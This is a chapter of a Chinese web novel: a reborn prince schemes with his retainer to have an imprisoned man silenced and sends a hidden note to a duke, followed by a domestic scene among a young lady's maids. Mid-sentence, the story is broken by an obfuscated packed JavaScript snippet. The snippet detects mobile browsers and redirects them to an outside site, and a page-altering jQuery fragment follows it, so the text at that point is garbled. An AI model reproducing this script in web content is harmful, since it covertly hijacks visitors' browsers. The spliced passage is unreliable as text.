“明摆着是想挑起我与老二的争斗,老二还以为自己是执棋人,不过也是颗棋子罢了。”元修止嘴角上扬,邪魅一笑,赛过园中百花。 他终于等到元硕北的出现,本来还以为这人这辈子会消失不见,如此也好,他又可以与他对阵,看看这一世谁输谁赢。 “从源头直接处理吧。” “殿下的意思是,牢里的赵文?” “嗯,债主若是没了,案子还查什么?”元修止漫不经心地望了几眼远处,眼底闪过一丝回忆,“活着也是痛苦,帮他一把,让他一家早日相见,岂不是更好,原本就该如此,以前就是这个下场。” “是,殿下要安排谁动手,锦衣卫那边吗?” 元修止收回目光,移到睦河身上,前世睦河是他最信任的人,在助他登上帝位后,被元硕北的亲信所杀,如今不会了,这一世他要保下这个忠心之人。 “刑部藏着的人该动了,还用不上锦衣卫。” 这厢,回国公府的郭聚兴得到殿下的许诺,安心落意地坐上马车离开。 不过马车的踢踏声没响几下,就被人拦下,车夫“吁”一声将马及时勒住。 即便车夫御马技术很好,也架不住拦车的人突然出现。 “出了何事?”郭聚兴用力撑着车内壁才没摔倒,眉头紧锁厉声道。 “见过国公爷,是在下唐突了。”拦车之人是一个穿着深蓝绸衫的男子,举止规矩有礼,一脸的书生气。 郭聚兴掀起车帘,不屑地望过去,此人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715544|133602||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭敬上前,双手托起一盒子,小声道:“小人是睦河先生身边的,先生见国公爷喜爱此茶,特意吩咐小人送过来,头次办差,没想到差点惊扰贵人的马,实属该打。” 他的双手高高举过头顶,因没办好差,头埋进身体里,耳朵羞愧的发红。 郭聚兴本就瞧不上文绉绉的睦河,手底下办事的更是拘谨,心底更是鄙夷,直接从车窗接过茶叶,道了句客气话就驱车离开。 原本还低头的人,见马车离开,回头瞅了几眼平静的大皇子府,松了口气,然后快速地钻进身后的小巷子,眨眼间不见踪影。 车内的郭聚兴将茶叶打开,玉叶长青,茶香味清香,确实是好茶。 不过他国公府还不缺这东西,一把将茶罐扔到一旁,被茶叶覆盖住的白纸便显露出来。 郭聚兴疑惑地将白纸拽出来——锦衣卫曲靖宇,文武不留。 这是殿下的字迹,要他去找曲千户解决赵文,原来殿下早就想好法子帮他。 这个睦河,如此重要之事难道不提醒他一下,他要不仔细些,岂不是错过,文人办事就是拐弯抹角,真心累。 不过也难怪,殿下不只一次告诫他,口风要严,不可随意泄露所办之事。 ——— 许府,花溪院。 许知韵正绣着花样子,镜花水月乖巧地在一旁理丝线。 水月一如往常,让做什么就做什么,倒是镜花有些反常,以往让她去歇一歇,她乐不得地回自己的屋里呆着,可最近她总说不累,想同许知韵呆在一起。 还以为她会求身契,许知韵等了多日也没见镜花提,不免好奇:“镜花,前些日子听说有媒人要给你保媒,怎样可相中了?” 听闻此话,水月捂着嘴巴偷笑,镜花则迫不及待忙辩解:“姑娘,从没有的事,莫要听旁人瞎说,奴婢要一直跟着姑娘的。” 说完,满脸娇羞的镜花埋起头继续干活,怎么看都像坠入爱河的女子,难不成事还没成,不好太早说? 许知韵也不去理会镜花,想说的时候她自然会说,眼下她想尽快做出一身衣服来,送给元硕北,因着前世就答应的,一直没做到。 不一会儿,雨妈妈碎步走进来,手里提着翠丰斋的冰雪冷元子,笑着:“姑娘快歇歇,月瓷特意跑到鹊高巷买的,跑着回来的,就为了姑娘能吃着舒心。” 许知韵眉眼一弯,遂放下手里的针线,欢喜道:“难为她如此用心,正合我意。” 镜花与水月连忙起身伺候,接过雨妈妈手里的食盒,镜花又将针线篓子理好放到一旁,眼睛时不时地扫几眼二姑娘的表情。 月瓷这个丫鬟是姑娘在外边买回来的,长得粗壮话极少,镜花倒是从未在意,不曾想竟是个厉害的,来了没几日就混到姑娘身边,地位不亚于她和水月。 真是应了那句老话,会咬人的狗不叫。